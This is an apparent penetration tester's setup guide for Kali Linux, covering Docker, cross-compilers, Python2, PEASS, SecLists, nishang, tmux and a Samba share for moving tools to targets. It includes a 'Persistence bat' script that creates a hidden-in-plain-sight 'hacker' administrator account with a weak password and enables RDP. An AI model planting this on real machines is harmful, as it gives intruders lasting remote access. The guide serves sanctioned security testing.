Penetration Testing Notes 00 - Kali Linux Preparation This is the guide to setup your Kali Linux for helping pen-test process
Docker
Install docker
Copy sudo apt update
sudo apt install docker.io
Install docker-compose
Copy sudo curl -SL https://github.com/docker/compose/releases/download/v2.29.6/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# check with
sudo docker-compose
Compiler & Interpreter
GCC
Copy # gcc linux
# gcc windows for kali linux
sudo apt install gcc-mingw-w64
# if your kali machine 64-bit
sudo apt install gcc-multilib g++-multilib
sudo apt-get install libc6-dev:i386 gcc:i386
sudo apt-get install g++-multilib libc6-dev-i386
Python2 & Python3
Copy python2 --version
python --version
python3 --version
# install
sudo apt install python2
Pip2 & Pip3
If your Kali Linux have not pip2 just install with this documentation:
https://pip.pypa.io/en/latest/installation/
Copy # download get-pip.py
https://bootstrap.pypa.io/pip/2.7/get-pip.py
# run get-pip
sudo python2 get-pip.py
Important Program
Wine
Copy sudo apt install wine
tmux
https://tmuxcheatsheet.com/
PEASS (LinPEAS & WinPEAS)
Copy sudo apt install peass
Copy # alternative
https://github.com/peass-ng/PEASS-ng/releases
wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/winPEASany.exe -o winPEASany.exe
wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/linpeas.sh -o linpeas.sh
Resource to Upload
Linux
LinEnum.sh
Windows
Copy sudo apt install windows-binaries
# nc.exe and etc
windows-binaries
Persistence bat
save to hacker.bat
Copy
:: This program need Administrator permission
:: Add User to Administrator and enables RDP
@ECHO OFF
TITLE Add user
ECHO Adding user ...
net user hacker password /add
net localgroup Administrator hacker /add
net localgroup "Remote Desktop Users" hacker /add
ECHO Enabling RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
ECHO =======================
ECHO User Added
ECHO =======================
net users
Web Preparation
Wordlist
SecList Wordlist (1.51 GB )
Copy sudo apt install seclists
cp -r /usr/share/seclists /usr/share/wordlists/SecLists
Script
Copy # nishang payload
git clone https://github.com/samratashok/nishang.git
Tmux Preparation
save this file to ~/.tmux.conf
to help while copy paste in the tmux pane.
Copy setw -g mode-keys vi
bind-key -T copy-mode-vi y send-keys -X copy-selection
run this command:
Copy tmux source ~/.tmux.conf
note for tmux copy and paste:
ctrl + [
-> enter vi mode / copy mode
space
-> enter the copy block mode
enter
-> copy the selection
ctrl + ]
-> paste
Active Directory Preparation
Windows PowerShell
Copy git clone https://github.com/samratashok/nishang.git
Setup SMB in Kali Linux
install samba
Copy sudo apt install samba
backup the configuration
Copy sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old
create this configuration to this file /etc/samba/smb.conf
Copy [visualstudio]
path = /home/kali/Desktop/visualstudio
browseable = yes
read only = no
Set SMB password for kali:
Copy sudo smbpasswd -a kali
start services
Copy sudo systemctl start smbd && sudo systemctl start nmbd
add permission for the path:
Copy chmod -R 777 /home/kali/Desktop/visualstudio
Windows Computer/Server to mount the kali linux smb shares:
Copy net use X: \\192.168.x.y\ /user:kali
Last updated 3 months ago